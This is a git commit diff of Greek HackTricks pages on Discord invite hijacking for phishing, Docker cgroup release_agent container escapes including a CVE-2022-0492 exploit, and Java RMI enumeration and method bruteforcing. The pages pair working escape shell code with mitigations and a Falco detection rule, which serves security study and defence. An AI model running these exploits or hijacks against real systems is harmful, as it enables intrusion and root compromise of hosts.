Translated ['src/generic-methodologies-and-resources/phishing-methodolog

This commit is contained in:
Translator 2025-07-12 15:27:00 +00:00
parent b00026f9ad
commit ec6f10fe7f
7 changed files with 161 additions and 89 deletions

View File

@ -2,21 +2,21 @@
{{#include ../../banners/hacktricks-training.md}}
Η ευπάθεια του συστήματος προσκλήσεων του Discord επιτρέπει στους απειλητικούς παράγοντες να διεκδικήσουν κωδικούς προσκλήσεων που έχουν λήξει ή διαγραφεί (προσωρινές, μόνιμες ή προσαρμοσμένες) ως νέους προσαρμοσμένους συνδέσμους σε οποιονδήποτε διακομιστή με Boost επιπέδου 3. Με την κανονικοποίηση όλων των κωδικών σε πεζά, οι επιτιθέμενοι μπορούν να προεγγραφούν γνωστούς κωδικούς προσκλήσεων και να υποκλέψουν σιωπηλά την κίνηση μόλις ο αρχικός σύνδεσμος λήξει ή ο πηγαίος διακομιστής χάσει το Boost του.
Η ευπάθεια του συστήματος προσκλήσεων του Discord επιτρέπει στους απειλητικούς παράγοντες να διεκδικήσουν κωδικούς προσκλήσεων που έχουν λήξει ή διαγραφεί (προσωρινοί, μόνιμοι ή προσαρμοσμένοι) ως νέους προσαρμοσμένους συνδέσμους σε οποιονδήποτε διακομιστή με Boost επιπέδου 3. Με την κανονικοποίηση όλων των κωδικών σε πεζά, οι επιτιθέμενοι μπορούν να προεγγραφούν σε γνωστούς κωδικούς προσκλήσεων και να υποκλέψουν σιωπηλά την κίνηση μόλις ο αρχικός σύνδεσμος λήξει ή ο πηγαίος διακομιστής χάσει το Boost του.
## Τύποι Προσκλήσεων και Κίνδυνος Υποκλοπής
| Τύπος Πρόσκλησης | Υποκλέψιμος; | Συνθήκη / Σχόλια |
|-----------------------|--------------|--------------------------------------------------------------------------------------------------------|
| Προσωρινός Σύνδεσμος | ✅ | Μετά την λήξη, ο κωδικός γίνεται διαθέσιμος και μπορεί να ξαναεγγραφεί ως προσαρμοσμένο URL από έναν διακομιστή με Boost. |
| Μόνιμος Σύνδεσμος | ⚠️ | Εάν διαγραφεί και αποτελείται μόνο από πεζά γράμματα και ψηφία, ο κωδικός μπορεί να γίνει διαθέσιμος ξανά. |
| Προσαρμοσμένος Σύνδεσμος | ✅ | Εάν ο αρχικός διακομιστής χάσει το Boost επιπέδου 3, η προσαρμοσμένη πρόσκληση γίνεται διαθέσιμη για νέα εγγραφή. |
| Προσωρινός Σύνδεσμος Πρόσκλησης | ✅ | Μετά την λήξη, ο κωδικός γίνεται διαθέσιμος και μπορεί να ξαναεγγραφεί ως προσαρμοσμένο URL από έναν διακομιστή με Boost. |
| Μόνιμος Σύνδεσμος Πρόσκλησης | ⚠️ | Εάν διαγραφεί και αποτελείται μόνο από πεζά γράμματα και ψηφία, ο κωδικός μπορεί να γίνει διαθέσιμος ξανά. |
| Προσαρμοσμένος Σύνδεσμος | ✅ | Εάν ο αρχικός διακομιστής χάσει το Boost επιπέδου 3, η προσαρμοσμένη πρόσκληση γίνεται διαθέσιμη για νέα εγγραφή. |
## Βήματα Εκμετάλλευσης
1. Αναγνώριση
- Παρακολουθήστε δημόσιες πηγές (φόρουμ, κοινωνικά δίκτυα, κανάλια Telegram) για προσκλήσεις που ταιριάζουν με το μοτίβο `discord.gg/{code}` ή `discord.com/invite/{code}`.
- Συλλέξτε κωδικούς προσκλήσεων που σας ενδιαφέρουν (προσωρινές ή προσαρμοσμένες).
- Συλλέξτε κωδικούς προσκλήσεων που σας ενδιαφέρουν (προσωρινούς ή προσαρμοσμένους).
2. Προεγγραφή
- Δημιουργήστε ή χρησιμοποιήστε έναν υπάρχοντα διακομιστή Discord με προνόμια Boost επιπέδου 3.
- Στις **Ρυθμίσεις Διακομιστή → Προσαρμοσμένο URL**, προσπαθήστε να αναθέσετε τον στοχοθετημένο κωδικό πρόσκλησης. Εάν γίνει αποδεκτός, ο κωδικός διατηρείται από τον κακόβουλο διακομιστή.
@ -55,7 +55,7 @@ navigator.clipboard.writeText(cmd);
## References
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/
- Discord Custom Invite Link Documentation https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery [https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/](https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/)
- Discord Custom Invite Link Documentation [https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link](https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,9 @@
**Για περισσότερες λεπτομέρειες, ανατρέξτε στην** [**αρχική ανάρτηση του ιστολογίου**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Αυτό είναι απλώς μια περίληψη:
Original PoC:
---
## Classic PoC (2019)
```shell
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
@ -12,38 +14,108 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
```
Η απόδειξη της έννοιας (PoC) δείχνει μια μέθοδο για την εκμετάλλευση των cgroups δημιουργώντας ένα αρχείο `release_agent` και ενεργοποιώντας την εκτέλεσή του για να εκτελέσει αυθαίρετες εντολές στον οικοδεσπότη του κοντέινερ. Ακολουθεί μια ανάλυση των βημάτων που εμπλέκονται:
Το PoC εκμεταλλεύεται τη δυνατότητα **cgroup-v1** `release_agent`: όταν η τελευταία εργασία ενός cgroup που έχει `notify_on_release=1` τερματίσει, ο πυρήνας (στις **αρχικές ονομαστικές περιοχές στον οικοδεσπότη**) εκτελεί το πρόγραμμα του οποίου η διαδρομή αποθηκεύεται στο εγγράψιμο αρχείο `release_agent`. Επειδή αυτή η εκτέλεση συμβαίνει με **πλήρη δικαιώματα root στον οικοδεσπότη**, η απόκτηση δικαιωμάτων εγγραφής στο αρχείο είναι αρκετή για μια έξοδο από το κοντέινερ.
### Σύντομη, αναγνώσιμη διαδικασία
1. **Ετοιμάστε ένα νέο cgroup**
1. **Προετοιμάστε το Περιβάλλον:**
- Δημιουργείται ένας φάκελος `/tmp/cgrp` για να χρησιμεύσει ως σημείο προσάρτησης για το cgroup.
- Ο ελεγκτής cgroup RDMA προσαρτάται σε αυτόν τον φάκελο. Σε περίπτωση απουσίας του ελεγκτή RDMA, προτείνεται η χρήση του ελεγκτή cgroup `memory` ως εναλλακτική.
```shell
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
```
2. **Ρύθμιση του Παιδικού Cgroup:**
- Ένα παιδικό cgroup με όνομα "x" δημιουργείται μέσα στον προσαρτημένο κατάλογο cgroup.
- Οι ειδοποιήσεις ενεργοποιούνται για το cgroup "x" γράφοντας 1 στο αρχείο notify_on_release του.
```shell
mkdir /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp # ή o memory
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
```
3. **Ρύθμιση του Release Agent:**
- Η διαδρομή του κοντέινερ στον οικοδεσπότη αποκτάται από το αρχείο /etc/mtab.
- Το αρχείο release_agent του cgroup ρυθμίζεται στη συνέχεια για να εκτελεί ένα σενάριο με όνομα /cmd που βρίσκεται στη ληφθείσα διαδρομή του οικοδεσπότη.
2. **Δείξτε το `release_agent` σε σενάριο ελεγχόμενο από τον επιτιθέμενο στον οικοδεσπότη**
```shell
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
```
4. **Δημιουργία και Ρύθμιση του Script /cmd:**
- Το script /cmd δημιουργείται μέσα στο κοντέινερ και ρυθμίζεται να εκτελεί ps aux, ανακατευθύνοντας την έξοδο σε ένα αρχείο με όνομα /output στο κοντέινερ. Η πλήρης διαδρομή του /output στον κεντρικό υπολογιστή καθορίζεται.
3. **Ρίξτε το payload**
```shell
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
cat <<'EOF' > /cmd
#!/bin/sh
ps aux > "$host_path/output"
EOF
chmod +x /cmd
```
5. **Ενεργοποίηση της Επίθεσης:**
- Μια διαδικασία ξεκινά μέσα στο "x" child cgroup και τερματίζεται αμέσως.
- Αυτό ενεργοποιεί τον `release_agent` (το σενάριο /cmd), το οποίο εκτελεί ps aux στον host και γράφει την έξοδο στο /output μέσα στο container.
4. **Ενεργοποιήστε τον ειδοποιητή**
```shell
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs" # προσθέτουμε τον εαυτό μας και τερματίζουμε αμέσως
cat /output # τώρα περιέχει διαδικασίες του οικοδεσπότη
```
---
## Ευπάθεια πυρήνα 2022 CVE-2022-0492
Τον Φεβρουάριο του 2022, οι Yiqi Sun και Kevin Wang ανακάλυψαν ότι **ο πυρήνας *δεν* επαλήθευε τα δικαιώματα όταν μια διαδικασία έγραφε στο `release_agent` στο cgroup-v1** (λειτουργία `cgroup_release_agent_write`).
Αποτελεσματικά **οποιαδήποτε διαδικασία που μπορούσε να τοποθετήσει μια ιεραρχία cgroup (π.χ. μέσω `unshare -UrC`) μπορούσε να γράψει μια αυθαίρετη διαδρομή στο `release_agent` χωρίς `CAP_SYS_ADMIN` στην *αρχική* ονομαστική περιοχή χρήστη**. Σε ένα κοντέινερ Docker/Kubernetes που εκτελείται με προεπιλεγμένη διαμόρφωση και δικαιώματα root, αυτό επέτρεψε:
* αναβάθμιση δικαιωμάτων σε root στον οικοδεσπότη; ↗
* έξοδο από το κοντέινερ χωρίς το κοντέινερ να είναι προνομιακό.
Η αδυναμία αποδόθηκε ως **CVE-2022-0492** (CVSS 7.8 / Υψηλό) και διορθώθηκε στις επόμενες εκδόσεις πυρήνα (και σε όλες τις επόμενες):
* 5.16.2, 5.15.17, 5.10.93, 5.4.176, 4.19.228, 4.14.265, 4.9.299.
Διορθωτική δέσμευση: `1e85af15da28 "cgroup: Fix permission checking"`.
### Ελάχιστη εκμετάλλευση μέσα σε ένα κοντέινερ
```bash
# prerequisites: container is run as root, no seccomp/AppArmor profile, cgroup-v1 rw inside
apk add --no-cache util-linux # provides unshare
unshare -UrCm sh -c '
mkdir /tmp/c; mount -t cgroup -o memory none /tmp/c;
echo 1 > /tmp/c/notify_on_release;
echo /proc/self/exe > /tmp/c/release_agent; # will exec /bin/busybox from host
(sleep 1; echo 0 > /tmp/c/cgroup.procs) &
while true; do sleep 1; done
'
```
Αν ο πυρήνας είναι ευάλωτος, το δυαδικό αρχείο busybox από τον *host* εκτελείται με πλήρη δικαιώματα root.
### Σκληροποίηση & Μετριασμοί
* **Ενημερώστε τον πυρήνα** (≥ εκδόσεις παραπάνω). Η επιδιόρθωση απαιτεί τώρα `CAP_SYS_ADMIN` στο *αρχικό* namespace χρηστών για να γράψει στο `release_agent`.
* **Προτιμήστε το cgroup-v2** η ενοποιημένη ιεραρχία **αφαίρεσε εντελώς τη δυνατότητα `release_agent`**, εξαλείφοντας αυτή την κατηγορία διαφυγών.
* **Απενεργοποιήστε τα unprivileged user namespaces** σε hosts που δεν τα χρειάζονται:
```shell
sysctl -w kernel.unprivileged_userns_clone=0
```
* **Υποχρεωτικός έλεγχος πρόσβασης**: Πολιτικές AppArmor/SELinux που αρνούνται `mount`, `openat` στο `/sys/fs/cgroup/**/release_agent`, ή αφαιρούν `CAP_SYS_ADMIN`, σταματούν την τεχνική ακόμη και σε ευάλωτους πυρήνες.
* **Read-only bind-mask** όλα τα αρχεία `release_agent` (παράδειγμα σεναρίου Palo Alto):
```shell
for f in $(find /sys/fs/cgroup -name release_agent); do
mount --bind -o ro /dev/null "$f"
done
```
## Ανίχνευση κατά την εκτέλεση
[`Falco`](https://falco.org/) περιλαμβάνει έναν ενσωματωμένο κανόνα από την έκδοση v0.32:
```yaml
- rule: Detect release_agent File Container Escapes
desc: Detect an attempt to exploit a container escape using release_agent
condition: open_write and container and fd.name endswith release_agent and
(user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE) and
thread.cap_effective contains CAP_SYS_ADMIN
output: "Potential release_agent container escape (file=%fd.name user=%user.name cap=%thread.cap_effective)"
priority: CRITICAL
tags: [container, privilege_escalation]
```
Ο κανόνας ενεργοποιείται σε οποιαδήποτε προσπάθεια εγγραφής στο `*/release_agent` από μια διαδικασία μέσα σε ένα κοντέινερ που εξακολουθεί να διαθέτει `CAP_SYS_ADMIN`.
## Αναφορές
* [Unit 42 CVE-2022-0492: container escape via cgroups](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/) λεπτομερής ανάλυση και σενάριο μετριασμού.
* [Sysdig Falco rule & detection guide](https://sysdig.com/blog/detecting-mitigating-cve-2022-0492-sysdig/)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## Basic Information
_Java Remote Method Invocation_, ή _Java RMI_, είναι ένας αντικειμενοστραφής μηχανισμός _RPC_ που επιτρέπει σε ένα αντικείμενο που βρίσκεται σε μία _Java virtual machine_ να καλεί μεθόδους σε ένα αντικείμενο που βρίσκεται σε άλλη _Java virtual machine_. Αυτό επιτρέπει στους προγραμματιστές να γράφουν κατανεμημένες εφαρμογές χρησιμοποιώντας μια αντικειμενοστραφή παραλλαγή. Μια σύντομη εισαγωγή στο _Java RMI_ από επιθετική προοπτική μπορεί να βρεθεί σε [this blackhat talk](https://youtu.be/t_aw1mDNhzI?t=202).
_Java Remote Method Invocation_, ή _Java RMI_, είναι ένας αντικειμενοστραφής μηχανισμός _RPC_ που επιτρέπει σε ένα αντικείμενο που βρίσκεται σε μία _Java virtual machine_ να καλεί μεθόδους σε ένα αντικείμενο που βρίσκεται σε άλλη _Java virtual machine_. Αυτό επιτρέπει στους προγραμματιστές να γράφουν κατανεμημένες εφαρμογές χρησιμοποιώντας μια αντικειμενοστραφή παρα paradigma. Μια σύντομη εισαγωγή στο _Java RMI_ από επιθετική προοπτική μπορεί να βρεθεί σε [this blackhat talk](https://youtu.be/t_aw1mDNhzI?t=202).
**Default port:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
```
@ -16,18 +16,18 @@ PORT STATE SERVICE VERSION
```
Συνήθως, μόνο τα προεπιλεγμένα _Java RMI_ συστατικά (το _RMI Registry_ και το _Activation System_) είναι δεσμευμένα σε κοινές θύρες. Τα _remote objects_ που υλοποιούν την πραγματική εφαρμογή _RMI_ είναι συνήθως δεσμευμένα σε τυχαίες θύρες όπως φαίνεται στην έξοδο παραπάνω.
Το _nmap_ έχει μερικές φορές προβλήματα στην αναγνώριση _SSL_ προστατευμένων _RMI_ υπηρεσιών. Εάν συναντήσετε μια άγνωστη υπηρεσία ssl σε μια κοινή θύρα _RMI_, θα πρέπει να ερευνήσετε περαιτέρω.
Το _nmap_ έχει μερικές φορές προβλήματα στην αναγνώριση _SSL_ προστατευμένων _RMI_ υπηρεσιών. Εάν συναντήσετε μια άγνωστη ssl υπηρεσία σε μια κοινή _RMI_ θύρα, θα πρέπει να ερευνήσετε περαιτέρω.
## RMI Components
Για να το θέσουμε απλά, το _Java RMI_ επιτρέπει σε έναν προγραμματιστή να κάνει ένα _Java object_ διαθέσιμο στο δίκτυο. Αυτό ανοίγει μια θύρα _TCP_ όπου οι πελάτες μπορούν να συνδεθούν και να καλέσουν μεθόδους στο αντίστοιχο αντικείμενο. Παρά το γεγονός ότι αυτό ακούγεται απλό, υπάρχουν αρκετές προκλήσεις που πρέπει να επιλύσει το _Java RMI_:
Για να το θέσουμε απλά, το _Java RMI_ επιτρέπει σε έναν προγραμματιστή να κάνει ένα _Java object_ διαθέσιμο στο δίκτυο. Αυτό ανοίγει μια _TCP_ θύρα όπου οι πελάτες μπορούν να συνδεθούν και να καλέσουν μεθόδους στο αντίστοιχο αντικείμενο. Παρά το γεγονός ότι αυτό ακούγεται απλό, υπάρχουν αρκετές προκλήσεις που πρέπει να επιλύσει το _Java RMI_:
1. Για να αποσταλεί μια κλήση μεθόδου μέσω _Java RMI_, οι πελάτες πρέπει να γνωρίζουν τη διεύθυνση IP, τη θύρα ακρόασης, την υλοποιημένη κλάση ή διεπαφή και το `ObjID` του στοχευμένου αντικειμένου (το `ObjID` είναι ένας μοναδικός και τυχαίος αναγνωριστής που δημιουργείται όταν το αντικείμενο καθίσταται διαθέσιμο στο δίκτυο. Είναι απαραίτητο επειδή το _Java RMI_ επιτρέπει σε πολλαπλά αντικείμενα να ακούν στην ίδια θύρα _TCP_).
1. Για να αποσταλεί μια κλήση μεθόδου μέσω _Java RMI_, οι πελάτες πρέπει να γνωρίζουν τη διεύθυνση IP, τη θύρα ακρόασης, την υλοποιημένη κλάση ή διεπαφή και το `ObjID` του στοχευμένου αντικειμένου (το `ObjID` είναι ένας μοναδικός και τυχαίος αναγνωριστικός αριθμός που δημιουργείται όταν το αντικείμενο καθίσταται διαθέσιμο στο δίκτυο. Είναι απαραίτητο επειδή το _Java RMI_ επιτρέπει σε πολλαπλά αντικείμενα να ακούν στην ίδια _TCP_ θύρα).
2. Οι απομακρυσμένοι πελάτες μπορεί να δεσμεύσουν πόρους στον διακομιστή καλώντας μεθόδους στο εκτεθειμένο αντικείμενο. Η _Java virtual machine_ πρέπει να παρακολουθεί ποιοι από αυτούς τους πόρους είναι ακόμα σε χρήση και ποιοι μπορούν να συλλεχθούν ως σκουπίδια.
Η πρώτη πρόκληση επιλύεται από το _RMI registry_, το οποίο είναι βασικά μια υπηρεσία ονοματοδοσίας για το _Java RMI_. Το _RMI registry_ είναι επίσης μια _RMI service_, αλλά η υλοποιημένη διεπαφή και το `ObjID` είναι σταθερά και γνωστά σε όλους τους πελάτες _RMI_. Αυτό επιτρέπει στους πελάτες _RMI_ να καταναλώνουν το _RMI_ registry γνωρίζοντας απλώς την αντίστοιχη θύρα _TCP_.
Η πρώτη πρόκληση επιλύεται από το _RMI registry_, το οποίο είναι βασικά μια υπηρεσία ονοματοδοσίας για το _Java RMI_. Το _RMI registry_ είναι επίσης μια _RMI service_, αλλά η υλοποιημένη διεπαφή και το `ObjID` είναι σταθερά και γνωστά σε όλους τους _RMI_ πελάτες. Αυτό επιτρέπει στους _RMI_ πελάτες να καταναλώνουν το _RMI_ registry απλά γνωρίζοντας την αντίστοιχη _TCP_ θύρα.
Όταν οι προγραμματιστές θέλουν να κάνουν τα _Java objects_ τους διαθέσιμα στο δίκτυο, συνήθως τα δεσμεύουν σε ένα _RMI registry_. Το _registry_ αποθηκεύει όλες τις πληροφορίες που απαιτούνται για να συνδεθείτε με το αντικείμενο (διεύθυνση IP, θύρα ακρόασης, υλοποιημένη κλάση ή διεπαφή και την τιμή `ObjID`) και τις καθιστά διαθέσιμες υπό ένα ανθρώπινα αναγνώσιμο όνομα (το _bound name_). Οι πελάτες που θέλουν να καταναλώσουν την _RMI service_ ζητούν από το _RMI registry_ το αντίστοιχο _bound name_ και το registry επιστρέφει όλες τις απαιτούμενες πληροφορίες για τη σύνδεση. Έτσι, η κατάσταση είναι βασικά η ίδια με μια συνηθισμένη υπηρεσία _DNS_. Η παρακάτω καταχώρηση δείχνει ένα μικρό παράδειγμα:
Όταν οι προγραμματιστές θέλουν να κάνουν τα _Java objects_ τους διαθέσιμα εντός του δικτύου, συνήθως τα δεσμεύουν σε ένα _RMI registry_. Το _registry_ αποθηκεύει όλες τις πληροφορίες που απαιτούνται για να συνδεθεί κανείς με το αντικείμενο (διεύθυνση IP, θύρα ακρόασης, υλοποιημένη κλάση ή διεπαφή και την τιμή `ObjID`) και τις καθιστά διαθέσιμες υπό ένα ανθρώπινα αναγνώσιμο όνομα (το _bound name_). Οι πελάτες που θέλουν να καταναλώσουν την _RMI service_ ζητούν από το _RMI registry_ το αντίστοιχο _bound name_ και το registry επιστρέφει όλες τις απαιτούμενες πληροφορίες για τη σύνδεση. Έτσι, η κατάσταση είναι βασικά η ίδια με μια συνηθισμένη υπηρεσία _DNS_. Η παρακάτω καταχώρηση δείχνει ένα μικρό παράδειγμα:
```java
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
@ -51,7 +51,7 @@ e.printStackTrace();
}
}
```
Η δεύτερη από τις προαναφερθείσες προκλήσεις επιλύεται από τον _Distributed Garbage Collector_ (_DGC_). Αυτή είναι μια άλλη _RMI service_ με μια γνωστή τιμή `ObjID` και είναι διαθέσιμη σε βασικά κάθε _RMI endpoint_. Όταν ένας _RMI client_ αρχίζει να χρησιμοποιεί μια _RMI service_, στέλνει μια πληροφορία στον _DGC_ ότι το αντίστοιχο _remote object_ είναι σε χρήση. Ο _DGC_ μπορεί στη συνέχεια να παρακολουθεί τον αριθμό αναφορών και είναι σε θέση να καθαρίζει τα αχρησιμοποίητα αντικείμενα.
Η δεύτερη από τις προαναφερθείσες προκλήσεις επιλύεται από τον _Distributed Garbage Collector_ (_DGC_). Αυτή είναι μια άλλη _RMI service_ με μια γνωστή τιμή `ObjID` και είναι διαθέσιμη σε βασικά κάθε _RMI endpoint_. Όταν ένας _RMI client_ αρχίζει να χρησιμοποιεί μια _RMI service_, στέλνει μια πληροφορία στον _DGC_ ότι το αντίστοιχο _remote object_ είναι σε χρήση. Ο _DGC_ μπορεί στη συνέχεια να παρακολουθεί τον αριθμό αναφορών και είναι σε θέση να καθαρίζει τα μη χρησιμοποιούμενα αντικείμενα.
Μαζί με το αποσυρθέν _Activation System_, αυτά είναι τα τρία προεπιλεγμένα συστατικά του _Java RMI_:
@ -59,7 +59,7 @@ e.printStackTrace();
2. Το _Activation System_ (`ObjID = 1`)
3. Ο _Distributed Garbage Collector_ (`ObjID = 2`)
Τα προεπιλεγμένα συστατικά του _Java RMI_ είναι γνωστά σημεία επίθεσης εδώ και αρκετό καιρό και υπάρχουν πολλές ευπάθειες σε παλιές εκδόσεις του _Java_. Από την οπτική γωνία ενός επιτιθέμενου, αυτά τα προεπιλεγμένα συστατικά είναι ενδιαφέροντα, επειδή υλοποιούν γνωστές κλάσεις / διεπαφές και είναι εύκολο να αλληλεπιδράσει κανείς μαζί τους. Αυτή η κατάσταση είναι διαφορετική για τις προσαρμοσμένες _RMI services_. Για να καλέσετε μια μέθοδο σε ένα _remote object_, πρέπει να γνωρίζετε την αντίστοιχη υπογραφή μεθόδου εκ των προτέρων. Χωρίς να γνωρίζετε μια υπάρχουσα υπογραφή μεθόδου, δεν υπάρχει τρόπος να επικοινωνήσετε με μια _RMI service_.
Τα προεπιλεγμένα συστατικά του _Java RMI_ είναι γνωστά επιθετικά σημεία εδώ και αρκετό καιρό και υπάρχουν πολλές ευπάθειες σε παλιές εκδόσεις του _Java_. Από την οπτική γωνία ενός επιτιθέμενου, αυτά τα προεπιλεγμένα συστατικά είναι ενδιαφέροντα, επειδή υλοποιούν γνωστές κλάσεις / διεπαφές και είναι εύκολο να αλληλεπιδράσει κανείς μαζί τους. Αυτή η κατάσταση είναι διαφορετική για τις προσαρμοσμένες _RMI services_. Για να καλέσετε μια μέθοδο σε ένα _remote object_, πρέπει να γνωρίζετε την αντίστοιχη υπογραφή μεθόδου εκ των προτέρων. Χωρίς να γνωρίζετε μια υπάρχουσα υπογραφή μεθόδου, δεν υπάρχει τρόπος να επικοινωνήσετε με μια _RMI service_.
## RMI Enumeration
@ -80,7 +80,7 @@ $ rmg enum 172.17.0.2 9010
[+]
[+] RMI server codebase enumeration:
[+]
[+] - http://iinsecure.dev/well-hidden-development-folder/
[+] - [http://iinsecure.dev/well-hidden-development-folder/](http://iinsecure.dev/well-hidden-development-folder/)
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
[+]
@ -138,9 +138,9 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
```
## Bruteforcing Remote Methods
Ακόμα και όταν δεν έχουν εντοπιστεί ευπάθειες κατά τη διάρκεια της αρίθμησης, οι διαθέσιμες _RMI_ υπηρεσίες θα μπορούσαν να εκθέσουν επικίνδυνες λειτουργίες. Επιπλέον, παρά το γεγονός ότι η επικοινωνία _RMI_ με τα προεπιλεγμένα συστατικά _RMI_ προστατεύεται από φίλτρα απο-serialization, όταν μιλάμε με προσαρμοσμένες _RMI_ υπηρεσίες, τέτοια φίλτρα συνήθως δεν υπάρχουν. Γνωρίζοντας έγκυρες υπογραφές μεθόδων στις _RMI_ υπηρεσίες είναι επομένως πολύτιμο.
Ακόμα και όταν δεν έχουν εντοπιστεί ευπάθειες κατά τη διάρκεια της αρίθμησης, οι διαθέσιμες _RMI_ υπηρεσίες θα μπορούσαν να εκθέσουν επικίνδυνες λειτουργίες. Επιπλέον, παρά το γεγονός ότι η επικοινωνία _RMI_ με τα προεπιλεγμένα συστατικά _RMI_ προστατεύεται από φίλτρα απο-serialization, όταν μιλάμε με προσαρμοσμένες υπηρεσίες _RMI_, τέτοια φίλτρα συνήθως δεν είναι σε εφαρμογή. Γνωρίζοντας έγκυρες υπογραφές μεθόδων στις υπηρεσίες _RMI_ είναι επομένως πολύτιμο.
Δυστυχώς, το _Java RMI_ δεν υποστηρίζει την αρίθμηση μεθόδων σε _remote objects_. Παρ' όλα αυτά, είναι δυνατόν να γίνει bruteforce υπογραφών μεθόδων με εργαλεία όπως το [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) ή το [rmiscout](https://github.com/BishopFox/rmiscout):
Δυστυχώς, το _Java RMI_ δεν υποστηρίζει την αρίθμηση μεθόδων σε _απομακρυσμένα αντικείμενα_. Παρ' όλα αυτά, είναι δυνατόν να γίνει bruteforce υπογραφών μεθόδων με εργαλεία όπως το [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) ή το [rmiscout](https://github.com/BishopFox/rmiscout):
```
$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
@ -209,7 +209,7 @@ uid=0(root) gid=0(root) groups=0(root)
## Γνωστές Διεπαφές
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) σημειώνει τις κλάσεις ή τις διεπαφές ως `known` αν είναι καταχωρημένες στη εσωτερική βάση δεδομένων του εργαλείου για γνωστές _RMI services_. Σε αυτές τις περιπτώσεις μπορείτε να χρησιμοποιήσετε τη δράση `known` για να αποκτήσετε περισσότερες πληροφορίες σχετικά με την αντίστοιχη _RMI service_:
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) σημειώνει τις κλάσεις ή τις διεπαφές ως `known` αν είναι καταχωρημένες στη εσωτερική βάση δεδομένων του εργαλείου για γνωστές _RMI υπηρεσίες_. Σε αυτές τις περιπτώσεις μπορείτε να χρησιμοποιήσετε την ενέργεια `known` για να αποκτήσετε περισσότερες πληροφορίες σχετικά με την αντίστοιχη _RMI υπηρεσία_:
```
$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
@ -238,8 +238,8 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+] - [https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html](https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html)
[+] - [https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi](https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi)
[+]
[+] Vulnerabilities:
[+]
@ -253,7 +253,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] is therefore most of the time equivalent to remote code execution.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
[+]
[+] -----------------------------------
[+] Name:
@ -266,23 +266,23 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
```
## Shodan
- `port:1099 java`
## Εργαλεία
## Tools
- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
- [rmiscout](https://github.com/BishopFox/rmiscout)
- [BaRMIe](https://github.com/NickstaDB/BaRMIe)
## Αναφορές
## References
- [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
## HackTricks Αυτόματες Εντολές
## HackTricks Automatic Commands
```
Protocol_Name: Java RMI #Protocol Abbreviation if there is one.
Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one.

View File

@ -65,7 +65,7 @@ ctr container delete <containerName>
